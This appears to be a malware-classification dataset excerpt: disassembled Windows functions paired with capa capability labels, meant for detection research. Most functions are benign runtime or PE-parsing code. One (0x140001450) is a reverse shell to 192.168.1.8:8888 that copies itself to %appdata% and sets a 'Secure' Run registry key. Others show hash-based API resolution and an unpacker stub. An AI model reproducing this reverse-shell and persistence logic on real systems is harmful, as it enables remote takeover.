joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140019e60
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
push rsi
push rdi
push r14
push r15
sub rsp, 0x490
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov rax, qword [0x140052a10]
xor rax, rsp
mov qword [rsp + 0x480], rax
mov r15, r9
mov r14, r8
mov rbx, rdx
xor edi, edi
mov qword [rsp + 0x60], rdi
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x50], rdi
xor edx, edx
mov r8d, 0x408
lea rcx, [rsp + 0x70]
call fcn.1400221f0
mov qword [rsp + 0x70], rdi
xor edx, edx
lea r8d, [rdi + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rsi, rax
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x140019f0b
xor edx, edx
lea r8d, [rdi + 2]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rsi, rax
mov qword [rsp + 0x38], rax
test rax, rax
jne 0x140019f0b
call fcn.1400184ec
mov ebx, eax
jmp 0x14001a01c
mov r8, r15
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
jne 0x140019f2c
call fcn.1400184ec
jmp 0x14001a00b
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r14, rax
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140019f22
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov dword [rsp + 0x30], eax
inc eax
cmp eax, ebx
jae 0x140019f67
mov ebx, 0x8007000e
jmp 0x14001a00d
mov ecx, eax
test eax, eax
je 0x140019f9f
xor edx, edx
or rax, 0xffffffffffffffff
div rcx
cmp rax, 2
jb 0x140019f95
lea rdx, [rcx + rcx]
cmp rdx, 0x400
jbe 0x140019f9f
lea rcx, [rsp + 0x70]
call fcn.1400184c0
jmp 0x140019fa9
mov ecx, 0x80070216
call fcn.14001a5a4
lea rax, [rsp + 0x78]
mov qword [rsp + 0x70], rax
jmp 0x140019fbb
cmp qword [rsp + 0x70], rdi
je 0x140019f5d
mov dword [rsp + 0x28], ebx
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, ebx
mov r8, r14
xor edx, edx
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x140019f22
mov ecx, eax
mov rax, qword [rsp + 0x70]
mov word [rax + rcx*2], di
mov r8d, dword [rsp + 0x4e0]
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.140019ca8
mov ebx, eax
test rsi, rsi
je 0x14001a01c
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
lea rax, [rsp + 0x78]
cmp qword [rsp + 0x70], rax
je 0x14001a033
lea rcx, [rsp + 0x70]
call fcn.1400184a0
nop
mov eax, ebx
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.140021770
add rsp, 0x490
pop r15
pop r14
pop rdi
pop rsi
pop rbx
ret

Function at 0x140029ac8
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140029930
Function at 0x140130000
Capabilities:
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], r9
test dword [rdi - 0x7e000001], ecx
cli
mov edi, 0xe9eb8fbd
mov dh, 0
add byte [rax], al
pcmpeqb mm1, qword [0x12023b55e]
invalid
add byte ds:[rax], al
add byte [rcx - 0x79], cl
ror dword [rcx + 0x63], 1
cmp al, 0x42
mov ebx, dword [rax + rcx + 0x88]
pushfq
invalid
mov byte [rax], al
add byte [rax], al
dec dword [rdi]
mov dh, 1
invalid
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jmp 0x140130a7c
rdtsc
shl rdx, 5
shl rdx, 0xb
shl rdx, 0xd
shl rdx, 2
shl rdx, 1
or rax, rdx
jne 0x140130827
je 0x140130827
lea edx, [rdx - 0xcdd0]
call rax
lea r12d, [rdx + 0xea5f]
ja 0x14012fe53
rcl r15d, 0xb9
and r8d, 0x78253515
pushfq
rcl edx, 0x6a
call rax
div r11
sub r11d, 0x623a589a
movabs rdi, 0x596041000002e0e9
popfq
lea ecx, [rbp - 0x7daf]
jmp rax
jmp 0x140130b0c
jne 0x140130d3f
mov rax, qword [rax]
jmp 0x140130cd0
lea r8, [rbp + 0xd0]
mov qword [rbp + 0xd0], r13
lea rdx, [rsp + 0x48]
mov rcx, 0xffffffffffffffff
call r15
jmp 0x140130941
neg r10
add r10, 0xfffffffffffff000
neg r10
add rcx, qword [rbp + 0xd0]
cmp r10, rcx
jmp 0x1401309de
je 0x140130843
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140130843
je 0x1401308ae
jne 0x1401308ae
cpuid
popfq
xor r15d, 0x49696857
jmp rax
jmp 0x140130d30
add r9, r10
mov byte [r9], 0xc3
test rbx, rbx
je 0x140130b8f
rdtsc
je 0x140130905
jne 0x140130905
sub r11d, 0x931c035b
int3
jmp 0x140130d7b
shr rcx, 3
shr rcx, 1
shr rcx, 1
imul rcx, rcx, 0x64
sub r8, rcx
cmp r8, 0x4b
jmp 0x140130b89
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
jmp 0x140130cd0
add byte [rdx - 0x75], al
adc al, 0x11
xchg r13, rbx
mov r13, rbx
xchg r13, rbx
je 0x1401309b4
jne 0x1401309b4
mov esi, 0x3203289e
call rcx
rcr edx, 0x10
jg 0x140130d19
or r15d, 0x4ae63e79
cpuid
movabs r8, 0x5548ba7e5d9672eb
jno 0x1401312b5
jmp 0x140130a28
cmp r15, rdx
jmp 0x1401310c7
xchg rdi, r13
lea rcx, [rsp + 0x30]
mov qword [rbp + 0xf8], r13
jmp 0x140130b9a
jb 0x1401307d9
lea rax, [rbp + 0x20]
mov dword [rbp + 0x20], r13d
jne 0x140130a01
je 0x140130a01
neg rbp
jmp rax
jmp 0x140130b60
xchg r15, rcx
mov r15, qword [rbp + 0xd0]
xchg r15, rcx
je 0x140130a54
jne 0x140130a54
lea ebp, [rbx - 0x5104]
test r14d, 0x52677d11
invalid

Function at 0x140130694
Capabilities:
Hash data using fnv

Disassembly:
push 0xffffffffffffff91
rcr ebx, 0x1a
jmp 0x1401301f8
Function at 0x101801f50
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x101801f5d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x101801f6d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x101801f55
lea eax, [rcx + 1]
jmp 0x101801f7b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x101801f8e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x101801f74
sub eax, 3
jb 0x101801fae
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x101801ffd
sar eax, 1
movsxd rbp, eax
jb 0x101801fe4
jmp 0x101801fbc
add ebx, ebx
jne 0x101801fba
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x101801fe4
inc ecx
add ebx, ebx
jne 0x101801fca
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x101801fe4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x101801fdd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x101801fcc
add ecx, 2
jmp 0x101801fe9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.101801f12
jmp 0x101801f5d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x5a2640
mov dl, 0x95
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x101802049
cmp rsi, rcx
jae 0x101802051
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x101802030
cmp al, 0x8f
ja 0x101802030
cmp byte [rsi - 2], 0xf
je 0x101802036
sub al, 0xe8
cmp al, 1
ja 0x10180201a
cmp rsi, rcx
jae 0x101802051
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x101802020
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x101802051
lodsb al, byte [rsi]
jmp 0x101802030
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x17fd000]
mov eax, dword [rdi]
or eax, eax
je 0x1018020ae
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x181d49c]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x10180205e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1018020a8
mov qword [rbx], rax
add rbx, 8
jmp 0x10180207e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.101802131], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.101802131
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x101802121
sub rsp, 0xffffffffffffff80
jmp 0x100003460
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140004540]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x140004550]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140007008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x1400044b0]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call dbg._pei386_runtime_relocator
mov rcx, qword [dbg._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140004530]
lea rcx, [dbg.__mingw_invalidParameterHandler]
mov qword [rdx], rax
call sym._set_invalid_parameter_handler
call dbg._fpreset
mov ebx, dword [0x140007028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sym.malloc
mov r12, qword [0x140007020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [r12 + rbx]
call sym.strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sym.malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sym.memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x140007020], rbp
call dbg.__main
mov rax, qword [0x1400044c0]
mov r8, qword [0x140007018]
mov ecx, dword [0x140007028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140007020]
call sym.main
mov ecx, dword [0x14000700c]
mov dword [0x140007010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140007008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x140004550]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call dbg._amsg_exit
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x140004570]
mov rcx, qword [0x140004560]
call sym._initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sym._cexit
mov eax, dword [0x140007010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x140004590]
mov rcx, qword [0x140004580]
mov dword [rsi], 1
call sym._initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sym.exit
nop
Function at 0x140001450
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Execute command
Initialize winsock library
Persist via run registry key
Set registry value

Disassembly:
push rbp
sub rsp, 0x2a0
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, [rbp + 0x70]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
setne al
test al, al
je 0x1400014a7
mov r8d, 0x1b
lea rax, str._ERROR__WSASturtup_failed._n
mov rdx, rax
mov ecx, 2
call sym.write
mov eax, 1
jmp 0x140001620
mov dword [rbp + 0x21c], 0x22b8
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [rbp + 0x210], rax
mov word [rbp + 0x60], 2
mov eax, dword [rbp + 0x21c]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x62], ax
lea rax, str.192.168.1.8
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x64], eax
lea rdx, [rbp + 0x60]
mov rax, qword [rbp + 0x210]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
setne al
test al, al
je 0x140001565
mov r8d, 0x18
lea rax, str._ERROR__connect_failed._n
mov rdx, rax
mov ecx, 2
call sym.write
mov eax, 1
jmp 0x140001620
lea rax, [rbp - 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x10], 0x68
mov dword [rbp + 0x2c], 0x100
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x50], rax
mov rax, qword [rbp + 0x50]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x40], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rax, [0x140004041]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
lea rax, str.cmd__c_copy_.main.exe__appdata_
mov rcx, rax
call sym.system
lea rax, str.cmd__c_REG_ADD_HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun__V__Secure___t_REG_SZ__F__D___appdata_main.exe
mov rcx, rax
call sym.system
mov eax, 0
add rsp, 0x2a0
pop rbp
ret

Function at 0x140001920
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call dbg.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140002310
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000235d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002354
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000235f
add rax, 0x28
cmp rax, r9
jne 0x140002340
xor eax, eax
ret

Function at 0x140002360
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400023f0
mov rdx, qword [0x140004480]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x1400023de
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400023de
cmp word [rax + 0x18], 0x20b
jne 0x1400023de
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400023f0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x1400023c9
add rbx, 0x28
cmp rbx, rdi
je 0x1400023f0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x1400023c0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002400
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004480]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002420
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002428
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002420
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000247d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002474
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002420
add rax, 0x28
cmp rax, r9
jne 0x140002460
xor eax, eax
ret

Function at 0x140002480
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004480]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000249f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400024a8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000249f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400024c0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140004480]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400024e0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400024e8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400024e0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002530
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002527
test rcx, rcx
je 0x1400024e0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002518
xor eax, eax
ret
Function at 0x140002540
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004480]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000255f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002568
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002580
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004480]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400025a0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400025a8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400025a0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400025a0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400025f4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002600
add rdx, 0x28
cmp rdx, r9
jne 0x1400025e0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002610
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140004480]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002632
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002640
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002632
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002632
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002632
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002695
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400026a8
add rdx, 0x28
cmp r10, rdx
jne 0x140002680
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400026b7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400026c7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000269e
test ecx, ecx
jg 0x1400026b0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1400031d0
Capabilities:
Set console window title

Disassembly:
sub rsp, 0x48
mov ecx, 0x20
mov qword [rsp + 0x28], 0
call fcn.1400045c0
movdqa xmm0, xmmword [0x140006910]
mov rcx, rax
mov qword [rsp + 0x20], rax
movdqu xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [str.Dscrt.cc_6__Serials]
movups xmmword [rax], xmm0
mov eax, dword [0x140006818]
mov dword [rcx + 0x10], eax
movzx eax, byte [0x14000681c]
mov byte [rcx + 0x14], al
mov byte [rcx + 0x15], 0
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140003264
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000325f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000325f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400045fc
call fcn.1400017e0
xor eax, eax
add rsp, 0x48
ret

Function at 0x140004f20
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004f6a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004f6a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004f6a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004f6a
cmp dword [rcx + 0x84], 0xe
jbe 0x140004f6a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140004f6c
xor al, al
add rsp, 0x28
ret
Function at 0x14001120d
Capabilities:
Terminate process

Disassembly:
jmp 0x140013600
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x140011299
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014950
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014970
xor al, al
jmp 0x1400149f1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014983
xor al, al
jmp 0x1400149f1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400149ad
xor al, al
jmp 0x1400149f1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400149c1
xor al, al
jmp 0x1400149f1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400149d3
xor al, al
jmp 0x1400149f1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400149ef
xor al, al
jmp 0x1400149f1
mov al, 1
add rsp, 0x38
ret
Function at 0x140012840
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400113d4
movzx eax, al
test eax, eax
jne 0x140012860
mov ecx, 7
call fcn.140011343
nop
mov byte [rsp + 0x20], 0
call fcn.140011357
mov byte [rsp + 0x21], al
cmp dword [0x14001e868], 1
jne 0x140012884
mov ecx, 7
call fcn.140011343
nop
jmp 0x1400128dc
cmp dword [0x14001e868], 0
jne 0x1400128d7
mov dword [0x14001e868], 1
lea rdx, [0x14001a660]
lea rcx, [0x14001a330]
call fcn.1400111ae
test eax, eax
je 0x1400128b8
mov eax, 0xff
jmp 0x1400129e1
lea rdx, [0x14001a220]
lea rcx, [section..rdata]
call fcn.14001134d
mov dword [0x14001e868], 2
jmp 0x1400128dc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.14001132f
call fcn.1400112c1
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140012939
mov rcx, qword [rsp + 0x30]
call fcn.140011168
movzx eax, al
test eax, eax
je 0x140012939
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140025020]
nop
call fcn.1400112f3
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001296d
mov rcx, qword [rsp + 0x38]
call fcn.140011168
movzx eax, al
test eax, eax
je 0x14001296d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011393
nop
call fcn.140012a90
mov dword [rsp + 0x28], eax
call fcn.140011299
movzx eax, al
test eax, eax
jne 0x14001298c
mov ecx, dword [rsp + 0x28]
call fcn.140011055
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001299b
call fcn.14001139d
nop
xor edx, edx
mov cl, 1
call fcn.14001114f
mov eax, dword [rsp + 0x28]
jmp 0x1400129e1
add rsp, 0x68
ret
Function at 0x14000725c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400072a6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400072a6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400072a6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400072a6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400072a6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400072a8
xor al, al
add rsp, 0x28
ret